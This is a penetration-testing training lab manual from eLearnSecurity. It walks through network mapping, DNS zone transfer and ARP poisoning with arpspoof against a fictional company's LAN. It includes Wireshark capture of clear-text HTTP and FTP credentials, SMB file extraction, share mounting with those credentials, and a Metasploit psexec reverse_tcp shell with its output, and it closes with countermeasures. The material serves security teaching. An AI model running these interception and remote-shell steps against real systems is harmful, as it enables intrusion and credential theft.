lab id: 10 - elearnsecurity

H E R A

LLAABB IIDD:: 1100

SNIFFING SSnniiffffiinngg iinn aa sswwiittcchheedd nneettwwoorrkk –– AARRPP PPooiissoonniinngg

AAnnaallyyzziinngg aa nneettwwoorrkk ttrraaffffiicc

EExxttrraaccttiinngg ffiilleess ffrroomm aa nneettwwoorrkk ttrraaccee

SStteeaalliinngg ccrreeddeennttiiaallss

MMaappppiinngg//eexxpplloorriinngg nneettwwoorrkk rreessoouurrcceess

SNIFFING LAB ID: 10

eLearnSecurity s.r.l. © 2012 | H E R A

2

1. LAB

You are a Penetration Tester and you’re asked to determine if a very

sensitive network segment is secure. The client named Sportsfoo.com is a

small research company specialized in Sports, so all data from a specific

segment should only be available to the authorized users and should not

be exposed to anybody else. The scope provided by the client is any

host/device on the 172.16.5.0/24 network.

The following image represents the LAB environment:

Network 172.16.5.0

172.16.5.xPENTESTER

SNIFFING LAB ID: 10


3

2. GOALS

Map the network

Sniff the traffic

Review the network traffic

List your findings

See what you can do with the credentials discovered

Bonus: Provide a list of countermeasures to your client

3. WHAT YOU WILL LEARN

How to map a network

How to sniff in a switched network – ARP Poisoning attack

Review FTP and HTTP packets

Obtain files transferred via SMB

How to use the sensitive information obtained from the network

trace in order to expand your access to the network

To guide you during the lab you will find different Tasks.

Tasks are meant for educational purposes and to show you the usage of

different tools and different methods to achieve the same goal.

They are not meant to be used as a methodology.

SNIFFING LAB ID: 10


4

Armed with the skills acquired though the task you can achieve the Lab

goal.

If this is the first time you do this lab, we advise you to follow these Tasks.

Once you have completed all the Tasks, you can proceed to the end of

this paper and check the solutions.

4. RECOMMENDED TOOLS

netdiscover

nmap

arpspoof

driftnet

Wireshark

Metasploit / PSEXEC

SMBmount

5. IMPORTANT NOTE

Further information:

Labs machines (like web server and internal organization machines) are not connected to the internet.

In order to connect to the target organization website you have to insert the following line in your hosts file:

SNIFFING LAB ID: 10


5

10.10.10.10 intranet.sportsfoo.com

------------------------------------------ hosts path ---------------------------------------

Windows: C:\Windows\System32\drivers\etc\hosts

Linux: /etc/hosts

SNIFFING LAB ID: 10


6

1. TASKS

Task 1: Host Discovery – Using ARP requests

Using only ARP packets, please list all online hosts of the network

172.16.5.0/24.

Mac Address Host IP address

Please, list another way (another tool and its parameters) you could use

to get the same information (still using only ARP packets):

____________________________________________________________

____________________________________________________________

Task 2: Host Discovery – Using DNS

Task 2.1: Determine the DNS Server

Perform a port scan in all of the hosts above in order to identify which

one is running the DNS Service. Be very specific, so make sure you will

only check for the DNS Port. Also, using the same command line,

determine if the DNS Server is running Linux, BSD, or Windows.

DNS Server IP Address

SNIFFING LAB ID: 10


7

Task 2.2: Determine the domain name

Using any DNS Lookup tool, please, determine for what domain name this

DNS Server is authoritative.

Domain Name

Task 2.3: List additional hosts using DNS zone transfer

Once you know the domain name and the DNS Server address, please,

check if you are able to identify new hosts using a DNS zone transfer.

New Hosts

Can you tell why the hosts above were not found using ARP requests?

____________________________________________________________

____________________________________________________________

____________________________________________________________

Task 3: Identify the default gateway for the 172.16.5.0/24 network

According to all tasks above, you have been able to identify two different

networks. Now we need to identify the default gateway who is handling

the communication between these networks. How can you do that?

____________________________________________________________

____________________________________________________________

____________________________________________________________

SNIFFING LAB ID: 10


8

Task 4: Draw a network map

Let’s draw a network map in order to graphic represent the environment

that we have discovered so far.

Task 5: Sniff packets between the hosts 172.16.5.5 and 172.16.5.1

Sniff all packets sent/received between the hosts 172.16.5.5 and

172.16.5.1. Keep yourself sniffing this target for 5 minutes. Save the

network trace as /root/task5.pcap. Make sure you are able to see all

images while you are sniffing.




network trace as /root/task6.pcap.




network trace as /root/task7.pcap.

Task 8: Analyze the file /root/task5.pcap

Task 8.1: Understand the big picture of the network traffic

SNIFFING LAB ID: 10


9

Before diving into every single packet of the network trace, first try to a

big picture of what was obtained. Identify the most used protocols.

HTTP Percentage: ______

FTP Percentage: ______

Task 8.2: Analyze the HTTP traffic – Part 1

Create a filter in Wireshark so you can see only the HTTP traffic. Also

make sure your filter don’t show any packet originated or destined to

your (attacker) machine. The HTTP protocol consists of a couple of

different commands (full details are available on the RFC 2616).


Remember that we were hired to determine if that network segment is

secure, so analyze all of the packets and determine which ones are

secure.


Find at least 2 HTTP requests which are not secure, but they don’t seem

to contain confidential information.


Find at least 2 HTTP requests that are really insecure and expose your

client to big problems like identity theft, privilege escalation, etc.

http://www.w3.org/Protocols/rfc2616/rfc2616.html

SNIFFING LAB ID: 10


10

Task 8.6: Analyze the FTP traffic – Part 1

Create a filter in Wireshark to show only the FTP traffic.


List the ftp commands issued by the host 172.16.5.5.


What is the username and password used during that FTP connection?


Task 9.1: Determine the username and password in use for the website

http://intranet.sportsfoo.com

Analyze all of the HTTP POST requests and determine what is the correct

username and password in use by the host 172.16.5.6 when accessing the

http://intranet.sportsfoo.com

Username Password

Task 9.2: Recovery all of the files downloaded by the user above

By reviewing all of the HTTP GET requests, describe all of the files that

were retrieved by the user above.

http://intranet.sportsfoo.com/


SNIFFING LAB ID: 10


11


Review the network trace obtained via task 7. Identify two files which

were transferred via SMB and its contents.

Filename Contents

Task 11: Use the credentials gathered in order to see what access you

can get on the host 172.16.5.10

With two different credentials in handy, check if you can access the

following resources:

\\172.16.5.10\finance – Credential:

\\172.16.5.10\technology – Credential:

Remote shell on the 172.16.5.10 – Credential:

Task 12: Countermeasures

List at least one countermeasure that your client could implement for

some of the problems identified during the test.

1. What protocol can be used on the http://intranet.sportsfoo.com in

order to avoid that credentials are transmitted in clear-text?


SNIFFING LAB ID: 10


12

2. What protocol or tool can be used as a replacement for the FTP service

in use on the host ftp.sportsfoo.com?

3. What protocol can be used to ensure that all traffic between the file

server and any other host on the LAN are encrypted?

4. What countermeasure can be implemented in order to protect the

network against ARP poisoning attacks?

ftp://ftp.sportsfoo.com/

SNIFFING LAB ID: 10


13

Solutions

SNIFFING LAB ID: 10


14

Task 1: Host Discovery – Using ARP requests

Answer: netdiscover –i tap0 –r 172.16.5.0/24

Explanation: The netdiscover command works by sending ARP requests to

the broadcast address asking for specific IP address range (if specified).

ARP (Address Resolution Protocol) is a protocol used for resolution of

network layer addresses (IP address) into link layer addresses (MAC

address). ARP works on the layer 2 of the OSI model, so it can only be

used to discovery hosts which are located in the same subnet. As you can

see on the screenshot below, many ARP packets were sent to the

Broadcast address (ff:ff:ff:ff:ff:ff), however, ARP replies were only

obtained from the hosts which are live: 172.16.5.1, 172.16.5.5,

172.16.5.6, and 172.16.5.10.

Mac Address Host IP address

00:50:56:b1:04:bc 172.16.5.1

00:50:56:b1:05:b6 172.16.5.5

00:50:56:b1:05:b9 172.16.5.6

SNIFFING LAB ID: 10


15

00:50:56:b1:05:ba 172.16.5.10

Please, list another way (another tool and its parameters) you could use

to do host discovery using only ARP requests:

Answer: nmap –PR –sn 172.16.5.1-255

Task 2: Host Discovery – Using DNS

Task 2.1: Determine the DNS Server

Answer: nmap –sT –v –p53 172.16.5.1 172.16.5.5 172.16.5.6 172.16.5.10

Explanation: As we already have a list of hosts found, now, we need to

query each one of these hosts in order to identify who is running the DNS

service. DNS port is TCP/53 (for zone transfer) and UDP/53 (for DNS

queries), all we need to do is to check if the TCP port 53 is open in all of

the hosts that we know are online. The command above is issued above

tells nmap to use a TCP connect scan (-sT) to the port 53 (-p53) to the

hosts 172.16.5.1, 172.16.5.5, 172.16.5.6, and 172.16.5.10.

As shown in the screenshot below, NMAP sent four SYN packets,

targeting the port 53 of all of these hosts. According to the TCP 3-way

handshake, the hosts which are listening to that port should answer with

a SYN,ACK packet. The hosts which don’t have the port 53 open should

answer with a RST,ACK packet. As we can see on the screenshot, the only

host which replied with a SYN,ACK packet is the 172.16.5.10, while the

host 172.1.16.5.6 replied with a RST,ACK packet which means that port is

closed. The hosts 172.16.5.1 and 172.16.5.5 have not responded with any

SNIFFING LAB ID: 10


16

packet which means that likely a firewall is in place (or another packet

filtering mechanism).

DNS Server IP Address

172.16.5.10

Task 2.2: Determine the domain name

Answer: sportsfoo.com

Explanation: Once we already know a couple of hosts of our client and also who is the DNS Server for that network, our next step is to identify the network domain name. We can do that by using reverse lookups with nslookup or dig. nslookup (here we are launching the nslookup utility) > server 172.16.5.10 (here we are telling the tool to use a specific DNS server. By default nslookup uses the DNS servers specified on the file /etc/resolv.conf) Default server: 172.16.5.10 Address: 172.16.5.10#53 > 172.16.5.5

SNIFFING LAB ID: 10


17

(here we are asking the DNS server to tell us what is the FQDN - fully qualified domain name - for the host 172.16.5.5. We could use any known IP address). Server: 172.16.5.10 Address: 172.16.5.10#53 5.5.16.172.in-addr.arpa name = wkst-techsupport.sportsfoo.com.

You could also use dig for the task above. The following command line

would do all of the work above:

dig @172.16.5.10 –x 172.16.5.5

Task 2.3: List additional hosts using DNS zone transfer

Answer: dig @172.16.5.10 sportsfoo.com -t AXFR

Explanation: Zone transfers are, usually, misconfigurations of a DNS

server. They should be enabled, if required, only for trusted IP addresses

(usually trusted downstream name servers). When zone transfers are

open to anyone, we can enumerate the whole DNS record for that zone.

There are a couple of different tools that are able to do that, however, we

will focus on dig. The command dig @172.16.5.10 sportsfoo.com –t AXFR

asks the DNS Server 172.16.5.10 to list all of their records (full zone

transfer –t AXFR) for the domain named: sportsfoo.com. The full

command and its results are listed below. Note that we were able to

discovery two new hosts: 10.10.10.6 and 10.10.10.10.

dig @172.16.5.10 sportsfoo.com -t AXFR

; <<>> DiG 9.7.0-P1 <<>> @172.16.5.10 sportsfoo.com -t AXFR

; (1 server found)

;; global options: +cmd

SNIFFING LAB ID: 10


18

sportsfoo.com. 3600 IN SOA els-winser2003.sportsfoo.com.

hostmaster.sportsfoo.com. 19 900 600 86400 3600

sportsfoo.com. 3600 IN NS els-winser2003.sportsfoo.com.

sportsfoo.com. 3600 IN NS els-winser2003.sports.com.

els-winser2003.sportsfoo.com. 3600 IN A 172.16.5.10

ftp.sportsfoo.com. 3600 IN A 10.10.10.6

intranet.sportsfoo.com. 3600 IN A 10.10.10.10

wkst-finance.sportsfoo.com. 3600 IN A 172.16.5.6

wkst-techsupport.sportsfoo.com. 3600 IN A 172.16.5.5

sportsfoo.com. 3600 IN SOA els-winser2003.sportsfoo.com.

hostmaster.sportsfoo.com. 19 900 600 86400 3600

;; Query time: 411 msec

;; SERVER: 172.16.5.10#53(172.16.5.10)

;; WHEN: Sun Nov 18 03:19:16 2012

;; XFR size: 9 records (messages 9, bytes 609)

The new hosts found belong to a different network (10.10.10.x). As the

penetration tester laptop is placed in the network 172.16.5.0/24 and all

of the host discovered performed so far were only done using ARP

packets, we then understand that we were unable to find these hosts

before because ARP packets can only sent to machines in the same

broadcast domain, so ARP discovery only works for hosts in the same

subnet.

SNIFFING LAB ID: 10


19

Task 3: Identify the default gateway for the 172.16.5.0/24 network

Answer: The default gateway is 172.16.5.1

Explanation: One of the methods that could be used to identify the

default gateway of a network is to track the packets taken from an IP

network on their way to a given host. The command traceroute does

exactly that, however, in this case looks like the default gateway is

blocking ICMP packets, so traceroute is not going to help here.

Another way to try to identify the default gateway is to evaluating the

already existing routes in your system. You can do that by running the

route command. As you can see below, always that the penetration

tester needs to communicate with the network 10.10.10.0, it’s going to

use the gateway 172.16.5.1.

Note: In order to be able to sniff packets properly using arpspoof, you will

need to use the same default gateway that the one which is in use by

your target.

SNIFFING LAB ID: 10


20

Task 4: Draw a network map

This is a possible graphic representation after compiling all information

gathered so far:

Network 172.16.5.0

172.16.5.10els-winser2003.sportsfoo.com

DNS Server

172.16.5.5wkst-techsupport.sportsfoo.com

172.16.5.6wkst-finance.sportsfoo.com

Network 10.10.10

10.10.10.6ftp.sportsfoo.com

10.10.10.10intranet.sportsfoo.com

Default Gateway172.16.5.1

172.16.5.xPENTESTER


In order to sniff all packets between the hosts 172.16.5.5 and 172.16.5.1

we can follow the instructions below:

1-) Prepare to collect all of the network traffic sent to/from your target:

1.1-) Launch Wireshark (If you are using Backtrack, click Applications,

Forensics, Network Forensics, Wireshark).

1.2-) Select the network interface that you intend to grab network traffic

(Click Capture, Interfaces, check tap0, and then click Start).

2-) Enable IP forward in your system. To do this, run the following

command:

echo 1 > /proc/sys/net/ipv4/ip_forward

SNIFFING LAB ID: 10


21

3-) Now we will need to trick our targets. We will need to tell to the IP

address 172.16.5.5 that every time that it needs to communicate to the IP

address 172.16.5.1, it should forward the request to the PENTESTER

system and vice-versa. It can be done by the following commands (we will

need two different terminal windows to run these commands):

arpspoof –i tap0 –t 172.16.5.5 172.16.5.1

arpspoof –i tap0 –t 172.16.5.1 172.16.5.5

The commands above will keep sending ARP packets in order to trick the

ARP table of both hosts. It will set the ARP table in a malicious way so

always that the host 172.16.5.5 needs to communicate to the 172.16.5.1,

instead of going to the MAC Address of the host 172.16.5.1, it will go to

the MAC address of our system (penetration tester).

In order to illustrate this attack, consider the following ARP table cache

displayed on the system 172.16.5.5 before launching the attack:

SNIFFING LAB ID: 10


22

Now, see the same ARP cache table after launching our attack:

SNIFFING LAB ID: 10


23

4-) Launch driftnet in order to see if are any images on the traffic

between these hosts, so you can might have a clue about what they are

doing. To do that, run the following command:

driftnet –i tap0

You might be able to see some images like:

5-) Wait 5 minutes or so and then stop the network capture in Wireshark.

Also interrupt (control + c) or close the arpspoof commands that might be

still running. Save the network capture as /root/task5.pcap so we can

review it later.

SNIFFING LAB ID: 10


24


We will need to repeat the same technique used in Task 5, so let’s

summarize what we will need to do:

1-) Start Wireshark and start a new capture by selecting the proper

network interface tap0.

2-) Check if IP Forward is already enabled in your system by running the

command cat /proc/sys/net/ipv4/ip_forward. The default value is 0. If

its 1, it means that it’s already enabled. If its disabled, make sure that you

enable it by running the command:


3-) Now we will need to trick our targets by changing their ARP cache

table. For that, we will need to open two different terminal windows and

run the following commands:

arpspoof –i tap0 –t 172.16.5.6 172.16.5.1

arpspoof –i tap0 –t 172.16.5.1 172.16.5.6

4-) Launch driftnet in order to see if so you can have an understanding

about what is happening between these hosts. To do that, run the

following command:

driftnet –i tap0

You might be able to see some images like:

SNIFFING LAB ID: 10


25




review it later.


We will need to repeat the same techniques used in Task 5 and 6, so:

1-) Start Wireshark and start a new capture by selecting the network

interface tap0.

2-) Check if IP Forward is already enabled in your system by running the

command cat /proc/sys/net/ipv4/ip_forward. The default value is 0. If

its 1, it means that it’s already enabled. So if its disabled, make sure that

you enable it by running the command:

SNIFFING LAB ID: 10


26


3-) Now we will need to trick our targets by changing their ARP cache

table. For that, we will need to open two different terminal windows and

run the following commands:

arpspoof –i tap0 –t 172.16.5.6 172.16.5.10

arpspoof –i tap0 –t 172.16.5.10 172.16.5.6




review it later.


Task 8.1: Understand the big picture of the network traffic gathered

Before diving into every packet of the network trace, first try to

understand the type of traffic that was obtained. We can do that by

opening the file /root/task5.pcap in Wireshark and then Statistics,

Protocol Hierarchy.

SNIFFING LAB ID: 10


27

According to the screenshot above, we can see that from all traffic

obtained, we got 2,02% of FTP traffic, 4,19% of HTTP traffic, and then

5,63% of SSL traffic.


Create a filter in Wireshark so you can see only the HTTP traffic. Also

make sure that you only see the network traffic sent and received by your

target (172.16.5.5). You can do that by inserting the following string on

the filter field as highlighted below:

http and ip.addr == 172.16.5.5


After analyzing the HTTP traffic we were able to understand that it’s a

protocol which consists of a bunch of requests and responses basically.

Also all traffic transmitted in HTTP is also transmitted in clear-text.

SNIFFING LAB ID: 10


28

SSL is the protocol which implements security for the HTTP protocol.

When you use SSL, all of your strings are not transmitted in clear-text, so

even if someone is able to capture your traffic, it will be a hard time to try

to decrypt it in order to understand what’s going on.

So, in order to determine which packets sent/received by the host

172.16.5.5 are secure, all we need to do is to create a filter for SSL

packets:


One of the main commands used on the HTTP protocol is the HTTP GET

request. HTTP GET requests are usually used when you want to retrieve a

file from a webserver.

In the screenshot below, we could see that the user has browsed to the

file casillas.png on the http://intranet.sportsfoo.com website. You can see

the HTTP GET request (in red) and also the HTTP Response from the

server (in blue):


SNIFFING LAB ID: 10


29

So while the information is being transmitted in clear-text on the

network, likely the only fact that the user is browsing to that website and

downloading a couple of files is not a big deal. We can see other HTTP

GET requests issued by the user by creating the following filter in

Wireshark:

http.request.method == “GET”

SNIFFING LAB ID: 10


30


The HTTP POST request is usually used when an user wants to submit an

information to the webserver (like filling a form). So its definitively

something that we want to check in order to see if critical information is

being transmitted in clear-text. We can do that by creating the following

filter in Wireshark:

http.request.method == “POST”

As you can see on the screenshot below, there are a couple of POST

requests with a very interesting name: POST /checklogin.php. Let’s take a

look closer to one of these requests by selecting one of these packets,

right click on it, and then select Follow TCP Stream:

SNIFFING LAB ID: 10


31

According to the screenshot above, we are able to see an attempt to login

on the http://intranet.sportsfoo.com website by submitting the username

gfreitas and the password Silv@n@. However, looks like it failed, because

the server answered with a HTTP 302 code which is redirecting the user

to a page named notheremyfriend.php. Even if this credential is not valid

for this website, an attacker might want to use that credential when

attacking other resources.

On the same screen (Follow TCP Stream), click in the button named Filter

out This Stream, so Wireshark will exclude temporary this request from

the remaining packets, so you can continue your analysis.

You will have to repeat the procedure above until you find a valid

credential. According to the example below we were able to obtain a

valid credential. While the password et1@sR7! used by the user admin is

a strong one, it doesn’t helps since it is being transmitted in clear-text.

Note: You can try to validate this credential by trying to login on the

http://intranet.sportsfoo.com website.



SNIFFING LAB ID: 10


32


Create a filter in Wireshark to show only the FTP traffic. It’s pretty simple

by just typing ftp on the Filter field and hitting <Enter> or by clicking on

the Apply button.


List the ftp commands issued by the host 172.16.5.5. We can do that by

selecting the first packet, right click on it, and select Follow TCP Stream:

All of the commands issued by the user are in red and all of the server

responses are in blue.

SNIFFING LAB ID: 10


33


What is the username and password used during that FTP connection?

According to the screenshot above, the username is admin and the

password is et1@sR7!


Task 9.1: Determine what the username and password in use for the

website http://intranet.sportsfoo.com

Analyze all of the HTTP POST requests and determine what is the correct

username and password in use by the host 172.16.5.6 when accessing the

http://intranet.sportsfoo.com .

According to the second screenshot of the Task 8.7, we already got an

understanding that when an user is able to login successfully it will get a

HTTP 302 response which will redirect the user to the page named

login_success.php. If the authentication fails, it will also get a HTTP 302

response, however, the user will be redirected to the page named

notheremyfriend.php.

With that in mind, instead of going through every single HTTP we can just

create and apply a filter that will just show all of the packets of our

interest:

http.location == “login_success.php”



SNIFFING LAB ID: 10


34

Then, right click in any of these packets and select Follow TCP Stream:

According to the screenshot below, we were able to identify one more

working credentials:

Username Password

almir Corinthians2012

Task 9.2: Recovery all of the files downloaded by the user above

Use the following steps in order to recovery (retrieve) all of the files

downloaded by the user:

1-) Launch Wireshark and then open the following file: /root/task6.pcap

2-) Click File, Open, Export Objects, HTTP

SNIFFING LAB ID: 10


35

Select one or more files and save to a folder of your preference.

SNIFFING LAB ID: 10


36

According to the screenshot below we were able to retrieve the files

successfully:


Review the network trace obtained in task 7. Identify two files which

were transferred via SMB and its contents.

1-) Launch Wireshark and open the file /root/task7.pcap

2-) Click Statistics, Protocol Hierarchy in order to get an understanding of

the type of traffic that we will need to deal with.

SNIFFING LAB ID: 10


37

3-) According to the screenshot above, looks like there was a significant

amount of traffic being transmitted via SMB. So let’s create a filter in

Wireshark so we can only see traffic related to this protocol. We just need

to type smb on the filter field and then click Apply:

4-) We can have a clue if there were any file transmitted via SMB by

creating a filter with the following string: smb.file:

5-) According to the screenshot above, looks like there are some

interesting files being transmitted via SMB. We can try to retrieve those

files using the following steps:

5.1-) Click File, Export Objects, SMB.

5.2-) You should see a list of files that were transmitted via SMB. Note

that looks like we have two different files. The first one has 374 bytes and

the other has 662 bytes. According to the screenshot above, probably one

of the files is the performance.doc and the other one is the salaries.doc.

SNIFFING LAB ID: 10


38

5.3-) Save all files to a folder of your preference and give the .DOC

extension to them. Then open the files in order to see their content:

SNIFFING LAB ID: 10


39

Task 11: Use the credentials gathered in order to see what access you

can get on the host 172.16.5.10

With two different credentials in handy, check if you can access the

following resources:

1-) \\172.16.5.10\finance

2-) \\172.16.5.10\technology

3-) Remote shell on the 172.16.5.10

According to the tasks 8.5 and 8.7, we have discovered the following

credential:

Username Password

admin et1@sR7!

According to the task 9.1, we have discovered the credential below:

Username Password

almir Corinthians2012

Now, all we need to do is to test the credentials above in order to see

which one can access the resources above.

11.1 Testing access to the UNC share: \\172.16.5.10\finance

1-) We can use the command smbmount in order to mount a UNC share

in our Linux system. To do this we will need to type:

Smbmount //172.16.5.10/finance /tmp/finance –o

username=almir,password=Corinthians2012,rw

SNIFFING LAB ID: 10


40

11.2 Testing access to the UNC share: \\172.16.5.10\technology

1-) We can use the command smbmount in order to mount a UNC share

in our Linux system. To do this we will need to type:

Smbmount //172.16.5.10/technology /tmp/technology –o

username=admin,password=et1@sR7!

SNIFFING LAB ID: 10


41

11.3 Testing if you are able to get a remote shell on the 172.16.5.10

1-) Once we have two valid credentials we might want to try to get a

remote shell by using the PSEXEC exploit. In order to do that, open the

Metasploit Console (msfconsole) and prepare an exploit according to the

parameters below:

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set SMBUser admin

SMBUser => admin

msf exploit(psexec) > set SMBPass et1@sR7!

SMBPass => et1@sR7!

msf exploit(psexec) > set RHOST 172.16.5.10

RHOST => 172.16.5.10

msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(psexec) > set LHOST 172.16.5.101 (Pentester IP address)

LHOST => 172.16.5.101

msf exploit(psexec) > exploit

2-) Once you run the exploit above, you will see that you will be able to

get a remote shell on the host 172.16.5.10 successfully, since the

credential used (admin) is also a local administrator account for that

particular host:

SNIFFING LAB ID: 10


42

[*] Started reverse handler on 172.16.5.101:4444 [*] Connecting to the server... [*] Authenticating to 172.16.5.10:445|WORKGROUP as user 'admin'... [*] Uploading payload... [*] Created \gNtqvmkK.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.5.10[\svcctl] ... [*] Bound to 367abb81-9844-35f12-98f038001003:2.0@ncacn_np:172.16.5.10[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (ZdlTfEpQ - "MSTOPiQJKeoqes")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Sending stage (752128 bytes) to 172.16.5.10 [*] Closing service handle... [*] Deleting \gNtqvmkK.exe... [*] Meterpreter session 1 opened (172.16.5.101:4444 -> 172.16.5.10:1594) at 2012-11-18 18:55:11 -0200 meterpreter > shell Process 3716 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>hostname hostname els-winser2003 C:\WINDOWS\system32>

Task 12: Countermeasures

List at least one countermeasure that your client could implement for

some of the issues identified during the test:

1. What protocol can be used on the http://intranet.sportsfoo.com

website in order to avoid that credentials are transmitted in clear-text?


SNIFFING LAB ID: 10


43

Answer: SSL

2. What protocol or tool can be used as a replacement for the FTP service

in use on the host ftp.sportsfoo.com?

Answer: SFTP

3. What protocol can be used to ensure that all traffic between the file

server and any other host on the LAN are encrypted?

Answer: IPSEC

4. What countermeasure can be implemented in order to protect the

network against ARP poisoning attacks?

Answer: You can use static ARP entries

ftp://ftp.sportsfoo.com/

lab id: 10 - elearnsecurity

Documents